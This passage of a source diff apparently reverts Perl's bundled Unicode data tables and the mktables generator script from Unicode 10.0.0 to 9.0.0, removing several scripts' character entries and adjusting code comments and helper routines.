ARDHAVISARGA..VEDIC SIGN ROTATED ARDHAVISARGA 1CF4 ; CM # Mn VEDIC TONE CANDRA ABOVE -1CF7 ; CM # Mc VEDIC SIGN ATIKRAMA 1CF8..1CF9 ; CM # Mn [2] VEDIC TONE RING ABOVE..VEDIC TONE DOUBLE RING ABOVE -1DC0..1DF9 ; CM # Mn [58] COMBINING DOTTED GRAVE ACCENT..COMBINING WIDE INVERTED BRIDGE BELOW +1DC0..1DF5 ; CM # Mn [54] COMBINING DOTTED GRAVE ACCENT..COMBINING UP TACK ABOVE 1DFB..1DFF ; CM # Mn [5] COMBINING DELETION MARK..COMBINING RIGHT ARROWHEAD AND DOWN ARROWHEAD BELOW 200C ; CM # Cf ZERO WIDTH NON-JOINER 200E..200F ; CM # Cf [2] LEFT-TO-RIGHT MARK..RIGHT-TO-LEFT MARK @@ -2064,19 +2035,6 @@ FFF9..FFFB ; CM # Cf [3] INTERLINEAR ANNOTATION ANCHOR..INTERLINEAR ANNOTAT 116B0..116B5 ; CM # Mn [6] TAKRI VOWEL SIGN U..TAKRI VOWEL SIGN AU 116B6 ; CM # Mc TAKRI SIGN VIRAMA 116B7 ; CM # Mn TAKRI SIGN NUKTA -11A01..11A06 ; CM # Mn [6] ZANABAZAR SQUARE VOWEL SIGN I..ZANABAZAR SQUARE VOWEL SIGN O -11A07..11A08 ; CM # Mc [2] ZANABAZAR SQUARE VOWEL SIGN AI..ZANABAZAR SQUARE VOWEL SIGN AU -11A09..11A0A ; CM # Mn [2] ZANABAZAR SQUARE VOWEL SIGN REVERSED I..ZANABAZAR SQUARE VOWEL LENGTH MARK -11A33..11A38 ; CM # Mn [6] ZANABAZAR SQUARE FINAL CONSONANT MARK..ZANABAZAR SQUARE SIGN ANUSVARA -11A39 ; CM # Mc ZANABAZAR SQUARE SIGN VISARGA -11A3B..11A3E ; CM # Mn [4] ZANABAZAR SQUARE CLUSTER-FINAL LETTER YA..ZANABAZAR SQUARE CLUSTER-FINAL LETTER VA -11A47 ; CM # Mn ZANABAZAR SQUARE SUBJOINER -11A51..11A56 ; CM # Mn [6] SOYOMBO VOWEL SIGN I..SOYOMBO VOWEL SIGN OE -11A57..11A58 ; CM # Mc [2] SOYOMBO VOWEL SIGN AI..SOYOMBO VOWEL SIGN AU -11A59..11A5B ; CM # Mn [3] SOYOMBO VOWEL SIGN VOCALIC R..SOYOMBO VOWEL LENGTH MARK -11A8A..11A96 ; CM # Mn [13] SOYOMBO FINAL CONSONANT SIGN G..SOYOMBO SIGN ANUSVARA -11A97 ; CM # Mc SOYOMBO SIGN VISARGA -11A98..11A99 ; CM # Mn [2] SOYOMBO GEMINATION MARK..SOYOMBO SUBJOINER 11C2F ; CM # Mc BHAIKSUKI VOWEL SIGN AA 11C30..11C36 ; CM # Mn [7] BHAIKSUKI VOWEL SIGN I..BHAIKSUKI VOWEL SIGN VOCALIC L 11C38..11C3D ; CM # Mn [6] BHAIKSUKI VOWEL SIGN E..BHAIKSUKI SIGN ANUSVARA @@ -2089,11 +2047,6 @@ FFF9..FFFB ; CM # Cf [3] INTERLINEAR ANNOTATION ANCHOR..INTERLINEAR ANNOTAT 11CB2..11CB3 ; CM # Mn [2] MARCHEN VOWEL SIGN U..MARCHEN VOWEL SIGN E 11CB4 ; CM # Mc MARCHEN VOWEL SIGN O 11CB5..11CB6 ; CM # Mn [2] MARCHEN SIGN ANUSVARA..MARCHEN SIGN CANDRABINDU -11D31..11D36 ; CM # Mn [6] MASARAM GONDI VOWEL SIGN AA..MASARAM GONDI VOWEL SIGN VOCALIC R -11D3A ; CM # Mn MASARAM GONDI VOWEL SIGN E -11D3C..11D3D ; CM # Mn [2] MASARAM GONDI VOWEL SIGN AI..MASARAM GONDI VOWEL SIGN O -11D3F..11D45 ; CM # Mn [7] MASARAM GONDI VOWEL SIGN AU..MASARAM GONDI VIRAMA -11D47 ; CM # Mn MASARAM GONDI RA-KARA 16AF0..16AF4 ; CM # Mn [5] BASSA VAH COMBINING HIGH TONE..BASSA VAH COMBINING HIGH-LOW TONE 16B30..16B36 ; CM # Mn [7] PAHAWH HMONG MARK CIM TUB..PAHAWH HMONG MARK CIM TAUM 16F51..16F7E ; CM # Mc [46] MIAO SIGN ASPIRATION..MIAO VOWEL SIGN NG @@ -2125,7 +2078,7 @@ E0001 ; CM # Cf LANGUAGE TAG E0020..E007F ; CM # Cf [96] TAG SPACE..CANCEL TAG E0100..E01EF ; CM # Mn [240] VARIATION SELECTOR-17..VARIATION SELECTOR-256 -# Total code points: 2170 +# Total code points: 2090 # ================================================ @@ -2149,12 +2102,9 @@ A8FC ; BB # Po DEVANAGARI SIGN SIDDHAM 111DB ; BB # Po SHARADA SIGN SIDDHAM 115C1 ; BB # Po SIDDHAM SIGN SIDDHAM 11660..1166C ; BB # Po [13] MONGOLIAN BIRGA WITH ORNAMENT..MONGOLIAN TURNED SWIRL BIRGA WITH DOUBLE ORNAMENT -11A3F ; BB # Po ZANABAZAR SQUARE INITIAL HEAD MARK -11A45 ; BB # Po ZANABAZAR SQUARE INITIAL DOUBLE-LINED HEAD MARK -11A9E..11AA0 ; BB # Po [3] SOYOMBO HEAD MARK WITH MOON AND SUN AND TRIPLE FLAME..SOYOMBO HEAD MARK WITH MOON AND SUN 11C70 ; BB # Po MARCHEN HEAD MARK -# Total code points: 42 +# Total code points: 37 # ================================================ @@ -2208,7 +2158,7 @@ A8FC ; BB # Po DEVANAGARI SIGN SIDDHAM 2E3C..2E3E ; BA # Po [3] STENOGRAPHIC FULL STOP..WIGGLY VERTICAL LINE 2E40 ; BA # Pd DOUBLE HYPHEN 2E41 ; BA # Po REVERSED COMMA -2E43..2E49 ; BA # Po [7] DASH WITH LEFT UPTURN..DOUBLE STACKED COMMA +2E43..2E44 ; BA # Po [2] DASH WITH LEFT UPTURN..DOUBLE SUSPENSION MARK 3000 ; BA # Zs IDEOGRAPHIC SPACE A4FE..A4FF ; BA # Po [2] LISU PUNCTUATION COMMA..LISU PUNCTUATION FULL STOP A60D ; BA # Po VAI COMMA @@ -2243,9 +2193,6 @@ ABEB ; BA # Po MEETEI MAYEK CHEIKHEI 115C9..115D7 ; BA # Po [15] SIDDHAM END OF TEXT MARK..SIDDHAM SECTION MARK WITH CIRCLES AND FOUR ENCLOSURES 11641..11642 ; BA # Po [2] MODI DANDA..MODI DOUBLE DANDA 1173C..1173E ; BA # Po [3] AHOM SIGN SMALL SECTION..AHOM SIGN RULAI -11A41..11A44 ; BA # Po [4] ZANABAZAR SQUARE MARK TSHEG..ZANABAZAR SQUARE MARK LONG TSHEG -11A9A..11A9C ; BA # Po [3] SOYOMBO MARK TSHEG..SOYOMBO MARK DOUBLE SHAD -11AA1..11AA2 ; BA # Po [2] SOYOMBO TERMINAL MARK-1..SOYOMBO TERMINAL MARK-2 11C41..11C45 ; BA # Po [5] BHAIKSUKI DANDA..BHAIKSUKI GAP FILLER-2 12470..12474 ; BA # Po [5] CUNEIFORM PUNCTUATION SIGN OLD ASSYRIAN WORD DIVIDER..CUNEIFORM PUNCTUATION SIGN DIAGONAL QUADCOLON 16A6E..16A6F ; BA # Po [2] MRO DANDA..MRO DOUBLE DANDA @@ -2255,7 +2202,7 @@ ABEB ; BA # Po MEETEI MAYEK CHEIKHEI 1BC9F ; BA # Po DUPLOYAN PUNCTUATION CHINOOK FULL STOP 1DA87..1DA8A ; BA # Po [4] SIGNWRITING COMMA..SIGNWRITING COLON -# Total code points: 232 +# Total code points: 218 # ================================================ @@ -3515,9 +3462,8 @@ FF70 ; CJ # Lm HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK 26F9 ; EB # So PERSON WITH BALL 270A..270D ; EB # So [4] RAISED FIST..WRITING HAND 1F385 ; EB # So FATHER CHRISTMAS -1F3C2..1F3C4 ; EB # So [3] SNOWBOARDER..SURFER -1F3C7 ; EB # So HORSE RACING -1F3CA..1F3CC ; EB # So [3] SWIMMER..GOLFER +1F3C3..1F3C4 ; EB # So [2] RUNNER..SURFER +1F3CA..1F3CB ; EB # So [2] SWIMMER..WEIGHT LIFTER 1F442..1F443 ; EB # So [2] EAR..NOSE 1F446..1F450 ; EB # So [11] WHITE UP POINTING BACKHAND INDEX..OPEN HANDS SIGN 1F466..1F469 ; EB # So [4] BOY..WOMAN @@ -3527,7 +3473,7 @@ FF70 ; CJ # Lm HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK 1F481..1F483 ; EB # So [3] INFORMATION DESK PERSON..DANCER 1F485..1F487 ; EB # So [3] NAIL POLISH..HAIRCUT 1F4AA ; EB # So FLEXED BICEPS -1F574..1F575 ; EB # So [2] MAN IN BUSINESS SUIT LEVITATING..SLEUTH OR SPY +1F575 ; EB # So SLEUTH OR SPY 1F57A ; EB # So MAN DANCING 1F590 ; EB # So RAISED HAND WITH FINGERS SPLAYED 1F595..1F596 ; EB # So [2] REVERSED HAND WITH MIDDLE FINGER EXTENDED..RAISED HAND WITH PART BETWEEN MIDDLE AND RING FINGERS @@ -3536,15 +3482,13 @@ FF70 ; CJ # Lm HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK 1F6A3 ; EB # So ROWBOAT 1F6B4..1F6B6 ; EB # So [3] BICYCLIST..PEDESTRIAN 1F6C0 ; EB # So BATH -1F6CC ; EB # So SLEEPING ACCOMMODATION -1F918..1F91C ; EB # So [5] SIGN OF THE HORNS..RIGHT-FACING FIST -1F91E..1F91F ; EB # So [2] HAND WITH INDEX AND MIDDLE FINGERS CROSSED..I LOVE YOU HAND SIGN +1F918..1F91E ; EB # So [7] SIGN OF THE HORNS..HAND WITH INDEX AND MIDDLE FINGERS CROSSED 1F926 ; EB # So FACE PALM -1F930..1F939 ; EB # So [10] PREGNANT WOMAN..JUGGLING -1F93D..1F93E ; EB # So [2] WATER POLO..HANDBALL -1F9D1..1F9DD ; EB # So [13] ADULT..ELF +1F930 ; EB # So PREGNANT WOMAN +1F933..1F939 ; EB # So [7] SELFIE..JUGGLING +1F93C..1F93E ; EB # So [3] WRESTLERS..HANDBALL -# Total code points: 102 +# Total code points: 83 # ================================================ diff --git a/lib/unicore/extracted/DNumType.txt b/lib/unicore/extracted/DNumType.txt index 42dfba2bd752..bebcee664390 100644 --- a/lib/unicore/extracted/DNumType.txt +++ b/lib/unicore/extracted/DNumType.txt @@ -1,6 +1,6 @@ -# DerivedNumericType-10.0.0.txt -# Date: 2017-02-14, 04:26:10 GMT -# © 2017 Unicode®, Inc. +# DerivedNumericType-9.0.0.txt +# Date: 2016-03-02, 18:55:01 GMT +# © 2016 Unicode®, Inc. # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries. # For terms of use, see http://www.unicode.org/terms_of_use.html # @@ -249,12 +249,11 @@ FF10..FF19 ; Decimal # Nd [10] FULLWIDTH DIGIT ZERO..FULLWIDTH DIGIT NINE 11730..11739 ; Decimal # Nd [10] AHOM DIGIT ZERO..AHOM DIGIT NINE 118E0..118E9 ; Decimal # Nd [10] WARANG CITI DIGIT ZERO..WARANG CITI DIGIT NINE 11C50..11C59 ; Decimal # Nd [10] BHAIKSUKI DIGIT ZERO..BHAIKSUKI DIGIT NINE -11D50..11D59 ; Decimal # Nd [10] MASARAM GONDI DIGIT ZERO..MASARAM GONDI DIGIT NINE 16A60..16A69 ; Decimal # Nd [10] MRO DIGIT ZERO..MRO DIGIT NINE 16B50..16B59 ; Decimal # Nd [10] PAHAWH HMONG DIGIT ZERO..PAHAWH HMONG DIGIT NINE 1D7CE..1D7FF ; Decimal # Nd [50] MATHEMATICAL BOLD DIGIT ZERO..MATHEMATICAL MONOSPACE DIGIT NINE 1E950..1E959 ; Decimal # Nd [10] ADLAM DIGIT ZERO..ADLAM DIGIT NINE -# Total code points: 590 +# Total code points: 580 # EOF diff --git a/lib/unicore/extracted/DNumValues.txt b/lib/unicore/extracted/DNumValues.txt index e8fffb3ba9b5..8a4909f5ad36 100644 --- a/lib/unicore/extracted/DNumValues.txt +++ b/lib/unicore/extracted/DNumValues.txt @@ -1,6 +1,6 @@ -# DerivedNumericValues-10.0.0.txt -# Date: 2017-02-14, 04:26:10 GMT -# © 2017 Unicode®, Inc. +# DerivedNumericValues-9.0.0.txt +# Date: 2016-03-02, 18:55:01 GMT +# © 2016 Unicode®, Inc. # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries. # For terms of use, see http://www.unicode.org/terms_of_use.html # @@ -101,7 +101,6 @@ FF10 ; 0.0 ; ; 0 # Nd FULLWIDTH DIGIT ZERO 11730 ; 0.0 ; ; 0 # Nd AHOM DIGIT ZERO 118E0 ; 0.0 ; ; 0 # Nd WARANG CITI DIGIT ZERO 11C50 ; 0.0 ; ; 0 # Nd BHAIKSUKI DIGIT ZERO -11D50 ; 0.0 ; ; 0 # Nd MASARAM GONDI DIGIT ZERO 16A60 ; 0.0 ; ; 0 # Nd MRO DIGIT ZERO 16B50 ; 0.0 ; ; 0 # Nd PAHAWH HMONG DIGIT ZERO 1D7CE ; 0.0 ; ; 0 # Nd MATHEMATICAL BOLD DIGIT ZERO @@ -113,7 +112,7 @@ FF10 ; 0.0 ; ; 0 # Nd FULLWIDTH DIGIT ZERO 1F100..1F101 ; 0.0 ; ; 0 # No [2] DIGIT ZERO FULL STOP..DIGIT ZERO COMMA 1F10B..1F10C ; 0.0 ; ; 0 # No [2] DINGBAT CIRCLED SANS-SERIF DIGIT ZERO..DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT ZERO -# Total code points: 75 +# Total code points: 74 # ================================================ @@ -447,7 +446,6 @@ FF11 ; 1.0 ; ; 1 # Nd FULLWIDTH DIGIT ONE 118E1 ; 1.0 ; ; 1 # Nd WARANG CITI DIGIT ONE 11C51 ; 1.0 ; ; 1 # Nd BHAIKSUKI DIGIT ONE 11C5A ; 1.0 ; ; 1 # No BHAIKSUKI NUMBER ONE -11D51 ; 1.0 ; ; 1 # Nd MASARAM GONDI DIGIT ONE 12415 ; 1.0 ; ; 1 # Nl CUNEIFORM NUMERIC SIGN ONE GESH2 1241E ; 1.0 ; ; 1 # Nl CUNEIFORM NUMERIC SIGN ONE GESHU 1242C ; 1.0 ; ; 1 # Nl CUNEIFORM NUMERIC SIGN ONE SHARU @@ -467,7 +465,7 @@ FF11 ; 1.0 ; ; 1 # Nd FULLWIDTH DIGIT ONE 1F102 ; 1.0 ; ; 1 # No DIGIT ONE COMMA 2092A ; 1.0 ; ; 1 # Lo CJK UNIFIED IDEOGRAPH-2092A -# Total code points: 122 +# Total code points: 121 # ================================================ @@ -573,7 +571,6 @@ FF12 ; 2.0 ; ; 2 # Nd FULLWIDTH DIGIT TWO 118E2 ; 2.0 ; ; 2 # Nd WARANG CITI DIGIT TWO 11C52 ; 2.0 ; ; 2 # Nd BHAIKSUKI DIGIT TWO 11C5B ; 2.0 ; ; 2 # No BHAIKSUKI NUMBER TWO -11D52 ; 2.0 ; ; 2 # Nd MASARAM GONDI DIGIT TWO 12400 ; 2.0 ; ; 2 # Nl CUNEIFORM NUMERIC SIGN TWO ASH 12416 ; 2.0 ; ; 2 # Nl CUNEIFORM NUMERIC SIGN TWO GESH2 1241F ; 2.0 ; ; 2 # Nl CUNEIFORM NUMERIC SIGN TWO GESHU @@ -597,7 +594,7 @@ FF12 ; 2.0 ; ; 2 # Nd FULLWIDTH DIGIT TWO 1F103 ; 2.0 ; ; 2 # No DIGIT TWO COMMA 22390 ; 2.0 ; ; 2 # Lo CJK UNIFIED IDEOGRAPH-22390 -# Total code points: 122 +# Total code points: 121 # ================================================ @@ -697,7 +694,6 @@ FF13 ; 3.0 ; ; 3 # Nd FULLWIDTH DIGIT THREE 118E3 ; 3.0 ; ; 3 # Nd WARANG CITI DIGIT THREE 11C53 ; 3.0 ; ; 3 # Nd BHAIKSUKI DIGIT THREE 11C5C ; 3.0 ; ; 3 # No BHAIKSUKI NUMBER THREE -11D53 ; 3.0 ; ; 3 # Nd MASARAM GONDI DIGIT THREE 12401 ; 3.0 ; ; 3 # Nl CUNEIFORM NUMERIC SIGN THREE ASH 12408 ; 3.0 ; ; 3 # Nl CUNEIFORM NUMERIC SIGN THREE DISH 12417 ; 3.0 ; ; 3 # Nl CUNEIFORM NUMERIC SIGN THREE GESH2 @@ -725,7 +721,7 @@ FF13 ; 3.0 ; ; 3 # Nd FULLWIDTH DIGIT THREE 22998 ; 3.0 ; ; 3 # Lo CJK UNIFIED IDEOGRAPH-22998 23B1B ; 3.0 ; ; 3 # Lo CJK UNIFIED IDEOGRAPH-23B1B -# Total code points: 124 +# Total code points: 123 # ================================================ @@ -819,7 +815,6 @@ FF14 ; 4.0 ; ; 4 # Nd FULLWIDTH DIGIT FOUR 118E4 ; 4.0 ; ; 4 # Nd WARANG CITI DIGIT FOUR 11C54 ; 4.0 ; ; 4 # Nd BHAIKSUKI DIGIT FOUR 11C5D ; 4.0 ; ; 4 # No BHAIKSUKI NUMBER FOUR -11D54 ; 4.0 ; ; 4 # Nd MASARAM GONDI DIGIT FOUR 12402 ; 4.0 ; ; 4 # Nl CUNEIFORM NUMERIC SIGN FOUR ASH 12409 ; 4.0 ; ; 4 # Nl CUNEIFORM NUMERIC SIGN FOUR DISH 1240F ; 4.0 ; ; 4 # Nl CUNEIFORM NUMERIC SIGN FOUR U @@ -847,7 +842,7 @@ FF14 ; 4.0 ; ; 4 # Nd FULLWIDTH DIGIT FOUR 200E2 ; 4.0 ; ; 4 # Lo CJK UNIFIED IDEOGRAPH-200E2 2626D ; 4.0 ; ; 4 # Lo CJK UNIFIED IDEOGRAPH-2626D -# Total code points: 116 +# Total code points: 115 # ================================================ @@ -946,7 +941,6 @@ FF15 ; 5.0 ; ; 5 # Nd FULLWIDTH DIGIT FIVE 118E5 ; 5.0 ; ; 5 # Nd WARANG CITI DIGIT FIVE 11C55 ; 5.0 ; ; 5 # Nd BHAIKSUKI DIGIT FIVE 11C5E ; 5.0 ; ; 5 # No BHAIKSUKI NUMBER FIVE -11D55 ; 5.0 ; ; 5 # Nd MASARAM GONDI DIGIT FIVE 12403 ; 5.0 ; ; 5 # Nl CUNEIFORM NUMERIC SIGN FIVE ASH 1240A ; 5.0 ; ; 5 # Nl CUNEIFORM NUMERIC SIGN FIVE DISH 12410 ; 5.0 ; ; 5 # Nl CUNEIFORM NUMERIC SIGN FIVE U @@ -971,7 +965,7 @@ FF15 ; 5.0 ; ; 5 # Nd FULLWIDTH DIGIT FIVE 1F106 ; 5.0 ; ; 5 # No DIGIT FIVE COMMA 20121 ; 5.0 ; ; 5 # Lo CJK UNIFIED IDEOGRAPH-20121 -# Total code points: 114 +# Total code points: 113 # ================================================ @@ -1061,7 +1055,6 @@ FF16 ; 6.0 ; ; 6 # Nd FULLWIDTH DIGIT SIX 118E6 ; 6.0 ; ; 6 # Nd WARANG CITI DIGIT SIX 11C56 ; 6.0 ; ; 6 # Nd BHAIKSUKI DIGIT SIX 11C5F ; 6.0 ; ; 6 # No BHAIKSUKI NUMBER SIX -11D56 ; 6.0 ; ; 6 # Nd MASARAM GONDI DIGIT SIX 12404 ; 6.0 ; ; 6 # Nl CUNEIFORM NUMERIC SIGN SIX ASH 1240B ; 6.0 ; ; 6 # Nl CUNEIFORM NUMERIC SIGN SIX DISH 12411 ; 6.0 ; ; 6 # Nl CUNEIFORM NUMERIC SIGN SIX U @@ -1083,7 +1076,7 @@ FF16 ; 6.0 ; ; 6 # Nd FULLWIDTH DIGIT SIX 1F107 ; 6.0 ; ; 6 # No DIGIT SIX COMMA 20AEA ; 6.0 ; ; 6 # Lo CJK UNIFIED IDEOGRAPH-20AEA -# Total code points: 101 +# Total code points: 100 # ================================================ @@ -1171,7 +1164,6 @@ FF17 ; 7.0 ; ; 7 # Nd FULLWIDTH DIGIT SEVEN 118E7 ; 7.0 ; ; 7 # Nd WARANG CITI DIGIT SEVEN 11C57 ; 7.0 ; ; 7 # Nd BHAIKSUKI DIGIT SEVEN 11C60 ; 7.0 ; ; 7 # No BHAIKSUKI NUMBER SEVEN -11D57 ; 7.0 ; ; 7 # Nd MASARAM GONDI DIGIT SEVEN 12405 ; 7.0 ; ; 7 # Nl CUNEIFORM NUMERIC SIGN SEVEN ASH 1240C ; 7.0 ; ; 7 # Nl CUNEIFORM NUMERIC SIGN SEVEN DISH 12412 ; 7.0 ; ; 7 # Nl CUNEIFORM NUMERIC SIGN SEVEN U @@ -1192,7 +1184,7 @@ FF17 ; 7.0 ; ; 7 # Nd FULLWIDTH DIGIT SEVEN 1F108 ; 7.0 ; ; 7 # No DIGIT SEVEN COMMA 20001 ; 7.0 ; ; 7 # Lo CJK UNIFIED IDEOGRAPH-20001 -# Total code points: 100 +# Total code points: 99 # ================================================ @@ -1278,7 +1270,6 @@ FF18 ; 8.0 ; ; 8 # Nd FULLWIDTH DIGIT EIGHT 118E8 ; 8.0 ; ; 8 # Nd WARANG CITI DIGIT EIGHT 11C58 ; 8.0 ; ; 8 # Nd BHAIKSUKI DIGIT EIGHT 11C61 ; 8.0 ; ; 8 # No BHAIKSUKI NUMBER EIGHT -11D58 ; 8.0 ; ; 8 # Nd MASARAM GONDI DIGIT EIGHT 12406 ; 8.0 ; ; 8 # Nl CUNEIFORM NUMERIC SIGN EIGHT ASH 1240D ; 8.0 ; ; 8 # Nl CUNEIFORM NUMERIC SIGN EIGHT DISH 12413 ; 8.0 ; ; 8 # Nl CUNEIFORM NUMERIC SIGN EIGHT U @@ -1298,7 +1289,7 @@ FF18 ; 8.0 ; ; 8 # Nd FULLWIDTH DIGIT EIGHT 1E958 ; 8.0 ; ; 8 # Nd ADLAM DIGIT EIGHT 1F109 ; 8.0 ; ; 8 # No DIGIT EIGHT COMMA -# Total code points: 96 +# Total code points: 95 # ================================================ @@ -1385,7 +1376,6 @@ FF19 ; 9.0 ; ; 9 # Nd FULLWIDTH DIGIT NINE 118E9 ; 9.0 ; ; 9 # Nd WARANG CITI DIGIT NINE 11C59 ; 9.0 ; ; 9 # Nd BHAIKSUKI DIGIT NINE 11C62 ; 9.0 ; ; 9 # No BHAIKSUKI NUMBER NINE -11D59 ; 9.0 ; ; 9 # Nd MASARAM GONDI DIGIT NINE 12407 ; 9.0 ; ; 9 # Nl CUNEIFORM NUMERIC SIGN NINE ASH 1240E ; 9.0 ; ; 9 # Nl CUNEIFORM NUMERIC SIGN NINE DISH 12414 ; 9.0 ; ; 9 # Nl CUNEIFORM NUMERIC SIGN NINE U @@ -1406,7 +1396,7 @@ FF19 ; 9.0 ; ; 9 # Nd FULLWIDTH DIGIT NINE 1F10A ; 9.0 ; ; 9 # No DIGIT NINE COMMA 2F890 ; 9.0 ; ; 9 # Lo CJK COMPATIBILITY IDEOGRAPH-2F890 -# Total code points: 100 +# Total code points: 99 # ================================================ diff --git a/lib/unicore/mktables b/lib/unicore/mktables index a66a91388bb7..761d3c665362 100644 --- a/lib/unicore/mktables +++ b/lib/unicore/mktables @@ -45,7 +45,7 @@ sub NON_ASCII_PLATFORM { ord("A") != 65 } # expected, a warning will be generated. If an older version is being # compiled, any bounds tests that fail in the generated test file (-maketest # option) will be marked as TODO. -my $version_of_mk_invlist_bounds = v10.0.0; +my $version_of_mk_invlist_bounds = v9.0.0; ########################################################################## # @@ -135,7 +135,7 @@ my $map_directory = 'To'; # Where map files go. # each one of the tens of thousands individually. # # In a match table, the value of a range is irrelevant (and hence the type as -# well, which will always be 0), and arbitrarily set to the empty string. +# well, which will always be 0), and arbitrarily set to the null string. # Using the example above, there would be two match tables for those two # entries, one named Upper would contain the 0x41..0x5A range, and the other # named Lower would contain 0x61..0x7A. @@ -660,7 +660,7 @@ sub stack_trace() { # common to both releases, and you can see the changes caused just by the # underlying release semantic changes. For versions earlier than 3.2, you # must copy a version of DAge.txt into the directory. -my $string_compare_versions = DEBUG && ""; # e.g., "2.1"; +my $string_compare_versions = DEBUG && 0; # e.g., "2.1"; my $compare_versions = DEBUG && $string_compare_versions && pack "C*", split /\./, $string_compare_versions; @@ -937,9 +937,9 @@ my %why_obsolete; # Documentation only my $why_no_expand = "Deprecated by Unicode. These are characters that expand to more than one character in the specified normalization form, but whether they actually take up more bytes or not depends on the encoding being used. For example, a UTF-8 encoded character may expand to a different number of bytes than a UTF-32 encoded character."; %why_deprecated = ( - 'Grapheme_Link' => 'Duplicates ccc=vr (Canonical_Combining_Class=Virama)', + 'Grapheme_Link' => 'Deprecated by Unicode: Duplicates ccc=vr (Canonical_Combining_Class=Virama)', 'Jamo_Short_Name' => $contributory, - 'Line_Break=Surrogate' => 'Surrogates should never appear in well-formed text, and therefore shouldn\'t be the basis for line breaking', + 'Line_Break=Surrogate' => 'Deprecated by Unicode because surrogates should never appear in well-formed text, and therefore shouldn\'t be the basis for line breaking', 'Other_Alphabetic' => $contributory, 'Other_Default_Ignorable_Code_Point' => $contributory, 'Other_Grapheme_Extend' => $contributory, @@ -1140,17 +1140,17 @@ my $MAX_UNICODE_CODEPOINT_STRING = ($v_version ge v2.0.0) my $MAX_UNICODE_CODEPOINT = hex $MAX_UNICODE_CODEPOINT_STRING; my $MAX_UNICODE_CODEPOINTS = $MAX_UNICODE_CODEPOINT + 1; -# We work with above-Unicode code points, up to IV_MAX, but we may want to use -# sentinels above that number. Therefore for internal use, we use a much -# smaller number, translating it to IV_MAX only for output. The exact number -# is immaterial (all above-Unicode code points are treated exactly the same), -# but the algorithm requires it to be at least -# 2 * $MAX_UNICODE_CODEPOINTS + 1 +# We work with above-Unicode code points, up to UV_MAX. But when you get +# that high, above IV_MAX, some operations don't work, and you can easily get +# overflow. Therefore for internal use, we use a much smaller number, +# translating it to UV_MAX only for output. The exact number is immaterial +# (all Unicode code points are treated exactly the same), but the algorithm +# requires it to be at least 2 * $MAX_UNICODE_CODEPOINTS + 1; my $MAX_WORKING_CODEPOINTS= $MAX_UNICODE_CODEPOINT * 8; my $MAX_WORKING_CODEPOINT = $MAX_WORKING_CODEPOINTS - 1; my $MAX_WORKING_CODEPOINT_STRING = sprintf("%X", $MAX_WORKING_CODEPOINT); -my $MAX_PLATFORM_CODEPOINT = ~0 >> 1; +my $MAX_PLATFORM_CODEPOINT = ~0; # Matches legal code point. 4-6 hex numbers, If there are 6, the first # two must be 10; if there are 5, the first must not be a 0. Written this way @@ -1436,10 +1436,10 @@ my @missing_early_files; # Generated list of absent files that we need to my @files_actually_output; # List of files we generated. my @more_Names; # Some code point names are compound; this is used # to store the extra components of them. -my $E_FLOAT_PRECISION = 2; # The minimum number of digits after the decimal - # point of a normalized floating point number - # needed to match before we consider it equivalent - # to a candidate rational +my $MIN_FRACTION_LENGTH = 3; # How many digits of a floating point number at + # the minimum before we consider it equivalent to a + # candidate rational +my $MAX_FLOATING_SLOP = 10 ** - $MIN_FRACTION_LENGTH; # And in floating terms # These store references to certain commonly used property objects my $age; @@ -1454,7 +1454,6 @@ my $Assigned; # All assigned characters in this Unicode release my $DI; # Default_Ignorable_Code_Point property my $NChar; # Noncharacter_Code_Point property my $script; -my $scx; # Script_Extensions property # Are there conflicting names because of beginning with 'In_', or 'Is_' my $has_In_conflicts = 0; @@ -1530,7 +1529,7 @@ sub populate_char_info ($) { $viacode[$i] = $perl_charname->value_of($i) || ""; $age[$i] = (defined $age) - ? (($age->value_of($i) =~ / ^ \d+ \. \d+ $ /x) + ? (($age->value_of($i) =~ / ^ \d \. \d $ /x) ? $age->value_of($i) : "") : ""; @@ -3554,7 +3553,7 @@ sub trace { return main::trace(@_); } main::set_access('end', \%end, 'r', 's'); my %value; - main::set_access('value', \%value, 'r', 's'); + main::set_access('value', \%value, 'r'); my %type; main::set_access('type', \%type, 'r'); @@ -5325,14 +5324,6 @@ use parent '-norequire', '_Range_List_Base'; return $self->_add_delete('+', @_); } - sub replace_map { - # Replace a range - - my $self = shift; - - return $self->_add_delete('+', @_, Replace => $UNCONDITIONALLY); - } - sub add_duplicate { # Adds entry to a range list which can duplicate an existing entry @@ -7742,7 +7733,6 @@ END # Accessors for the underlying list that should fail if locked. for my $sub (qw( add_duplicate - replace_map )) { no strict "refs"; @@ -7810,12 +7800,6 @@ use parent '-norequire', '_Base_Table'; # version. But manual intervention to decide what the actual behavior # should be may be required should this happen. The introductory comments # have more to say about this. -# -# 4) Definition. This is a string for human consumption that specifies the -# code points that this table matches. This is used only for the generated -# pod file. It may be specified explicitly, or automatically computed. -# Only the first portion of complicated definitions is computed and -# displayed. sub standardize { return main::standardize($_[0]); } sub trace { return main::trace(@_); } @@ -7860,11 +7844,6 @@ sub trace { return main::trace(@_); } # none. main::set_access('complement', \%complement, 'r'); - my %definition; - # Human readable string of the first few ranges of code points matched by - # this table - main::set_access('definition', \%definition, 'r', 's'); - sub new { my $class = shift; @@ -7881,7 +7860,6 @@ sub trace { return main::trace(@_); } my $initialize = delete $args{'Initialize'}; my $matches_all = delete $args{'Matches_All'} || 0; my $format = delete $args{'Format'}; - my $definition = delete $args{'Definition'} // ""; # Rest of parameters passed on. my $range_list = Range_List->new(Initialize => $initialize, @@ -7916,7 +7894,6 @@ sub trace { return main::trace(@_); } $leader{$addr} = $self; $parent{$addr} = $self; $complement{$addr} = 0; - $definition{$addr} = $definition; if (defined $format && $format ne $EMPTY_FORMAT) { Carp::my_carp_bug("'Format' must be '$EMPTY_FORMAT' in a match table instead of '$format'. Using '$EMPTY_FORMAT'"); @@ -8027,23 +8004,13 @@ sub trace { return main::trace(@_); } # complement's if it has one. my $self = shift; - my $complement = $self->complement; - - # In order to avoid re-complementing on each access, only do the - # complement the first time, and store the result in this table's - # range list to use henceforth. However, this wouldn't work if the - # controlling (complement) table changed after we do this, so lock it. - # Currently, the value of the complement isn't needed until after it - # is fully constructed, so this works. If this were to change, the - # each_range iteration functionality would no longer work on this - # complement. - if ($complement 